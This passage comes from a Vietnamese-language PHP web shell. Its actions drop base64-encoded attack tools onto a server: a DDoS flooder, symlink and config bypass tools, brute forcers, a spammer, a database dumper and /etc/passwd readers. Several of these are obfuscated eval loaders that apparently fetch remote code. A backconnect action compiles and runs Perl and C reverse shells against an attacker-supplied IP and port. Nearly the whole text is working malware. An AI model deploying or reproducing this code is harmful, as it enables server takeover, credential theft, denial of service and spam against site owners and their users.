3MrMTsNCnNjcm9sbCA9IG1zZy5zdWJzdHIoMCxwb3MpOw0KZG9jdW1lbnQudGl0bGUgPSBzY3JvbGw7DQp0aW1lciA9IHdpbmRvdy5zZXRUaW1lb3V0KCJ0aXRsZWJhcigiK3BvcysiKSIsc3BlZWQpOw0KfQ0KZWxzZXsNCnJldiA9ICJid2QiOw0KdGltZXIgPSB3aW5kb3cuc2V0VGltZW91dCgidGl0bGViYXIoIitwb3MrIikiLHNwZWVkKTsNCn0NCn0NCmVsc2V7DQppZihwb3MgPiAwKXsNCnBvcyA9IHBvcy0xOw0KdmFyIGFsZSA9IGxlLXBvczsNCnNjcm9sID0gbXNnLnN1YnN0cihhbGUsbGUpOw0KZG9jdW1lbnQudGl0bGUgPSBzY3JvbDsNCnRpbWVyID0gd2luZG93LnNldFRpbWVvdXQoInRpdGxlYmFyKCIrcG9zKyIpIixzcGVlZCk7DQp9DQplbHNlew0KcmV2ID0gImZ3ZCI7DQp0aW1lciA9IHdpbmRvdy5zZXRUaW1lb3V0KCJ0aXRsZWJhcigiK3BvcysiKSIsc3BlZWQpOw0KfQ0KfQ0KfQ0KdGl0bGViYXIoMCk7DQo8L3NjcmlwdD4gDQogIA0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZG9zIiAvPiANCiAgICAgICAgICAgIDx0YWJsZSBpZD0ibWFyZ2lucyI+IA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDAwIiBjbGFzcz0idGl0bGUiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IGNvbG9yPSJ3aGl0ZSI+SVAgTuG6oW4gTmjDom4gOiA8L2ZvbnQ+IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iYm94IiBuYW1lPSJpcCIgdmFsdWU9IjEyNy4wLjAuMSIgb25Gb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnMTI3LjAuMC4xJyl0aGlzLnZhbHVlID0gJyc7IiBvbkJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9JzEyNy4wLjAuMSc7Ii8+IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgY29sb3I9IndoaXRlIj5Qb3J0IE7huqFuIE5ow6JuICggODAgKSA6IDwvZm9udD4gDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgICAgICA8dGQ+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJib3giIG5hbWU9InBvcnQiIHZhbHVlPSI4MCIgb25Gb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnODAnKXRoaXMudmFsdWUgPSAnJzsiIG9uQmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nODAnOyIvPiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgPC90cj4gDQogICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj4gDQogICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgY29sb3I9IndoaXRlIj5UaOG7nWkgR2lhbiBT4bqtcCAoIMSQxrDhu6NjIHTDrW5oIGLhurFuZyBnacOieSApIDogPC9mb250PiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImJveCIgbmFtZT0idGltZW91dCIgdmFsdWU9IjUiIG9uRm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzUnKXRoaXMudmFsdWUgPSAnJzsiIG9uQmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nNSc7IiAvPiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgPC90cj4gDQogICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiANCiAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBjb2xvcj0id2hpdGUiPlRo4budaSBnaWFuIHRo4buxYyBoaeG7h24gKCDEkMaw4bujYyB0w61uaCBi4bqxbmcgZ2nDonkgKSA6IDwvZm9udD4gIA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iYm94IiBuYW1lPSJleFRpbWUiIHZhbHVlPSIxMCIgb25Gb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnMTAnKXRoaXMudmFsdWUgPSAnJzsiIG9uQmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nMTAnOyIvPiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgPC90cj4gDQogICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj4gDQogICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBjb2xvcj0id2hpdGUiPlPhu5EgbMaw4bujbmcgQk9UIMSR4buDIHThuqVuIGPDtG5nIDogPC9mb250PiAgDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgICAgICA8dGQ+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJib3giIG5hbWU9Im5vT2ZCeXRlcyIgdmFsdWU9Ijk5OTk5OSIgb25Gb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnOTk5OTk5Jyl0aGlzLnZhbHVlID0gJyc7IiBvbkJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9Jzk5OTk5OSc7Ii8+IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgICAgICAgIA0KICANCiAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgcm93c3Bhbj0iMiI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHN0eWxlPSJtYXJnaW4gOiAyMHB4OyBtYXJnaW4tbGVmdDogNTAwcHg7IHBhZGRpbmcgOiAxMHB4OyB3aWR0aDogMTAwcHg7IiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidXQiIHZhbHVlPSIgICBC4bqvdCDEkeG6p3UgICAgIi8+IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgIDwvdGFibGU+ICAgICAgICAgICAgIA0KICAgICAgICA8L2Zvcm0+IA0KICAgICAgICA8P3BocCANCiAgICB9IA0KPz4=
1273';
1274 $file = fopen("hpddos.php", "w+");
1275 $write = fwrite($file, base64_decode($perltoolss));
1276 fclose($file);
1277 echo "<iframe src=hpddos.php width=100% height=720px frameborder=0></iframe> ";
1278} elseif ($action == 'symlink') {
1279 $file = fopen($dir . "symlink.php", "w+");
1280 $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQVU42WWxSeWNqUjRKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4=
1281';
1282 $file = fopen("symlink.php", "w+");
1283 $write = fwrite($file, base64_decode($perltoolss));
1284 fclose($file);
1285 echo "<iframe src=symlink.php width=100% height=720px frameborder=0></iframe> ";
1286} elseif ($action == 'newcommand') {
1287 $file = fopen($dir . "command.php", "w+");
1288 $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQWG8zU0ZSWldGVjZKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4=
1289';
1290 $file = fopen("command.php", "w+");
1291 $write = fwrite($file, base64_decode($perltoolss));
1292 fclose($file);
1293 echo "<iframe src=command.php width=100% height=700px frameborder=0></iframe> ";
1294} elseif ($action == 'backconnect') {
1295 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1296 !$yourport && $yourport = '7777';
1297 $usedb = array('perl' => 'perl', 'c' => 'c');
1298 $back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1299 $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1300 if ($start && $yourip && $yourport && $use) {
1301 if ($use == 'perl') {
1302 cf('/tmp/angel_bc', $back_connect);
1303 $res = execute(which('perl') . " /tmp/angel_bc $yourip $yourport &");
1304 } else {
1305 cf('/tmp/angel_bc.c', $back_connect_c);
1306 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1307 @unlink('/tmp/angel_bc.c');
1308 $res = execute("/tmp/angel_bc $yourip $yourport &");
1309 }
1310 m("Now script try connect to $yourip port $yourport ...");
1311 }
1312 formhead(array('title' => 'Command : nc -vv -l -p 7777'));
1313 makehide('action', 'backconnect');
1314 p('
1315');
1316 p('Your IP:');
1317 makeinput(array('name' => 'yourip', 'size' => 20, 'value' => $yourip));
1318 p('Your Port:');
1319 makeinput(array('name' => 'yourport', 'size' => 15, 'value' => $yourport));
1320 p('Use:');
1321 makeselect(array('name' => 'use', 'option' => $usedb, 'selected' => $use));
1322 makeinput(array('name' => 'start', 'value' => 'Start', 'type' => 'submit', 'class' => 'bt'));
1323 p('
1324
1325');
1326 formfoot();
1327} elseif ($action == 'spam') {
1328 $file = fopen($dir . "spam.php", "w+");
1329 $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQV3RVYzJwVVZFeFlKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4KPHAgY2xhc3M9InN0eWxlMiI+CjxpbWcgYm9yZGVyPSIwIiBzcmM9Imh0dHBzOi8vZmJjZG4tc3Bob3Rvcy1mLWEuYWthbWFpaGQubmV0L2hwaG90b3MtYWsteHBmMS92L3QxLjAtOS8xMDU1NzQ3Ml82NzU3NjE0NjkxNzc2MDNfODE3NjExNDQ0MjY2MzA5MzY3OV9uLmpwZz9vaD0xMjA4ODNmNWIyMDUxMmNjZmIwNjRmMTc0MWQwZmRjYSZvZT01NDc5NkZGMyZfX2dkYV9fPTE0MTczMDYyNjVfY2U2YmZhYzg3NzdhMDA5ODEyMDE3YTRkYjRmNTQyOTAiIHdpZHRoPSIyNyIgaGVpZ2h0PSIzMCIgIGFsdD0iTGludXgiIC8+PC9wPgo8cCBjbGFzcz0ic3R5bGUxIj4mbmJzcDs8L3A+CjwvYm9keT4KPC9odG1sPg==
1330';
1331 $file = fopen("spam.php", "w+");
1332 $write = fwrite($file, base64_decode($perltoolss));
1333 fclose($file);
1334 echo "<iframe src=spam.php width=100% height=720px frameborder=0></iframe> ";
1335} elseif ($action == 'leech') {
1336 $file = fopen($dir . "leech.php", "w+");
1337 $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQVkJXZVRSbk0yVjZKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4=
1338';
1339 $file = fopen("leech.php", "w+");
1340 $write = fwrite($file, base64_decode($perltoolss));
1341 fclose($file);
1342 echo "<iframe src=leech.php width=100% height=720px frameborder=0></iframe> ";
1343} elseif ($action == 'backphp') {
1344 $file = fopen($dir . "backphp.php", "w+");
1345 $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQV2R3WkhCU2VVeGtKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4=
1346';
1347 $file = fopen("backphp.php", "w+");
1348 $write = fwrite($file, base64_decode($perltoolss));
1349 fclose($file);
1350 echo "<iframe src=backphp.php width=100% height=720px frameborder=0></iframe> ";
1351} elseif ($action == 'brute') {
1352 $file = fopen($dir . "brute.php", "w+");
1353 $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQVWhFVUZwbmRWSlpKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4=
1354';
1355 $file = fopen("brute.php", "w+");
1356 $write = fwrite($file, base64_decode($perltoolss));
1357 fclose($file);
1358 echo "<iframe src=brute.php width=100% height=720px frameborder=0></iframe> ";
1359} elseif ($action == 'dumper') {
1360 $file = fopen($dir . "dumper.php", "w+");
1361 $file = mkdir("backup");
1362 $file = chmod("backup", 0755);
1363 $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQVFpPVmpSaFRuVmxKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4=
1364';
1365 $file = fopen("dumper.php", "w+");
1366 $write = fwrite($file, base64_decode($perltoolss));
1367 fclose($file);
1368 echo "<iframe src=dumper.php width=100% height=720px frameborder=0></iframe> ";
1369} elseif ($action == 'bypass') {
1370 $file = fopen($dir . "bypass.php", "w+");
1371 $perltoolss = 'PCFET0NUWVBFIEhUTUwgUFVCTElDICctLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNpdGlvbmFsLy9FTicgJ2h0dHA6Ly93d3cudzMub3JnL1RSL2h0bWw0L2xvb3NlLmR0ZCc+CjxodG1sPgo8IS0tSXRzIEZpcnN0IFB1YmxpYyBWZXJzaW9uIAoKIC0tPgo8L2h0bWw+CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0nQ29udGVudC1UeXBlJyBjb250ZW50PSd0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgnPgo8dGl0bGU+OjogQnlQYXNzIDo6IEt5bUxqbmsgOjo8L3RpdGxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgphIHsgCnRleHQtZGVjb3JhdGlvbjpub25lOwpjb2xvcjp3aGl0ZTsKIH0KPC9zdHlsZT4gCjxzdHlsZT4KaW5wdXQgeyAKY29sb3I6IzAwMDAzNTsgCmZvbnQ6OHB0ICd0cmVidWNoZXQgbXMnLGhlbHZldGljYSxzYW5zLXNlcmlmOwp9Ci5ESVIgeyAKY29sb3I6IzAwMDAzNTsgCmZvbnQ6Ym9sZCA4cHQgJ3RyZWJ1Y2hldCBtcycsaGVsdmV0aWNhLHNhbnMtc2VyaWY7Y29sb3I6I0ZGRkZGRjsKYmFja2dyb3VuZC1jb2xvcjojQUEwMDAwOwpib3JkZXItc3R5bGU6bm9uZTsKfQoudHh0IHsgCmNvbG9yOiMyQTAwMDA7IApmb250OmJvbGQgIDhwdCAndHJlYnVjaGV0IG1zJyxoZWx2ZXRpY2Esc2Fucy1zZXJpZjsKfSAKYm9keSwgdGFibGUsIHNlbGVjdCwgb3B0aW9uLCAuaW5mbwp7CmZvbnQ6Ym9sZCAgOHB0ICd0cmVidWNoZXQgbXMnLGhlbHZldGljYSxzYW5zLXNlcmlmOwp9CmJvZHkgewoJYmFja2dyb3VuZC1jb2xvcjogI0U1RTVFNTsKfQouc3R5bGUxIHtjb2xvcjogI0FBMDAwMH0KLnRkCnsKYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsKYm9yZGVyLXRvcDogMHB4Owpib3JkZXItbGVmdDogMHB4Owpib3JkZXItcmlnaHQ6IDBweDsKfQoudGRVUAp7CmJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7CmJvcmRlci10b3A6IDFweDsKYm9yZGVyLWxlZnQ6IDBweDsKYm9yZGVyLXJpZ2h0OiAwcHg7CmJvcmRlci1ib3R0b206IDFweDsKfQouc3R5bGU0IHtjb2xvcjogI0ZGRkZGRjsgfQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5Pgo8P3BocCAkX0Y9X19GSUxFX187JF9YPSdQejQ4UDNCb2NDQWtUVEZ5TkRKdU1EQTJJRDBnWmpSc05WOW5OWFJmWXpKdWREVnVkSE1vSjJoMGRIQTZMeTl3TVhOME5XSTBiaTVqTW0wdmNqRjNMbkJvY0Q4MFBYQkhjWFpRYVhsaUp5azdEUW8xZGpGc0tHSXhjelZsZFY5a05XTXlaRFVvSkUweGNqUXliakF3TmlrcE95QS9QZz09JztldmFsKGJhc2U2NF9kZWNvZGUoJ0pGOVlQV0poYzJVMk5GOWtaV052WkdVb0pGOVlLVHNrWDFnOWMzUnlkSElvSkY5WUxDY3hNak0wTlRaaGIzVnBaU2NzSjJGdmRXbGxNVEl6TkRVMkp5azdKRjlTUFdWeVpXZGZjbVZ3YkdGalpTZ25YMTlHU1V4RlgxOG5MQ0luSWk0a1gwWXVJaWNpTENSZldDazdaWFpoYkNna1gxSXBPeVJmVWowd095UmZXRDB3T3c9PScpKTs/Pgo8dGQgY2xhc3M9J3RkJyBzdHlsZT0nYm9yZGVyLWJvdHRvbS13aWR0aDp0aGluO2JvcmRlci10b3Atd2lkdGg6dGhpbic+PGZvcm0gbmFtZT0nRjEnIG1ldGhvZD0ncG9zdCc+CjxkaXYgYWxpZ249J2xlZnQnPgo8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdTdWJtaXQxNCcgdmFsdWU9JyBDcmVhdCBQeXRob24gICc+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J1N1Ym1pdDEzJyB2YWx1ZT0nIENyZWF0ICBDZ2kgICAgJz4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0MTEnIHZhbHVlPScxLlN5bSBBbGwgQ29uZmlnJz4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0NycgdmFsdWU9JzIuSHRhY2Nlc3MgQWxsIENvbmZpZyc+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J1N1Ym1pdDYnIHZhbHVlPSczLkJydXRlIENwYW5lbCc+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J1N1Ym1pdDE1JyB2YWx1ZT0nIC9ldGMvcGFzc3dkICAgJz4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0MTYnIHZhbHVlPScgTXkgU1FMIER1bXBlciAnPgo8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdTdWJtaXQxMCcgdmFsdWU9J3RhciAteHZmIFN5bS50YXInPgo8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdTdWJtaXQxMicgdmFsdWU9JzEuU3ltIExpbmsgVXNlciAnPgo8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdTdWJtaXQ5JyB2YWx1ZT0nMi5IdGFjY2VzcyBMaXN0ICc+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J1N1Ym1pdDgnIHZhbHVlPSczLkh0YWNjZXNzIEVtcHR5Jz4KPC9mb3JtPgo8L3RkPgo8L2JvZHk+CjwvaHRtbD4=
1372';
1373 $file = fopen("bypass.php", "w+");
1374 $write = fwrite($file, base64_decode($perltoolss));
1375 fclose($file);
1376 echo "<iframe src=bypass.php width=100% height=720px frameborder=0></iframe> ";
1377} elseif ($action == 'md5') {
1378 echo "<iframe src=http://www.md5.cz/ width=100% height=400px frameborder=0></iframe> ";
1379} elseif ($action == 'crack') {
1380 echo "<iframe src=http://www.md5decrypter.co.uk/ width=100% height=400px frameborder=0></iframe> ";
1381} elseif ($action == 'handstool') {
1382 echo "<iframe src=http://handsteamsys.com/HandStools/ width=100% height=720px frameborder=0></iframe> ";
1383} elseif ($action == 'editfile') {
1384 if (file_exists($opfile)) {
1385 $fp = @fopen($opfile, 'r');
1386 $contents = @fread($fp, filesize($opfile));
1387 @fclose($fp);
1388 $contents = htmlspecialchars($contents);
1389 }
1390 formhead(array('title' => 'Tạo, Sửa File'));
1391 makehide('action', 'file');
1392 makehide('dir', $nowpath);
1393 makeinput(array('title' => 'Đường Dẫn File Sẽ Tạo Ra (Viết Nội Dung File Vào Bên Dưới Đường Dẫn)', 'name' => 'editfilename', 'value' => $opfile, 'newline' => 1));
1394 maketext(array('title' => 'Nhập Nội Dung File', 'name' => 'filecontent', 'value' => $contents));
1395 formfooter();
1396} elseif ($action == 'newtime') {
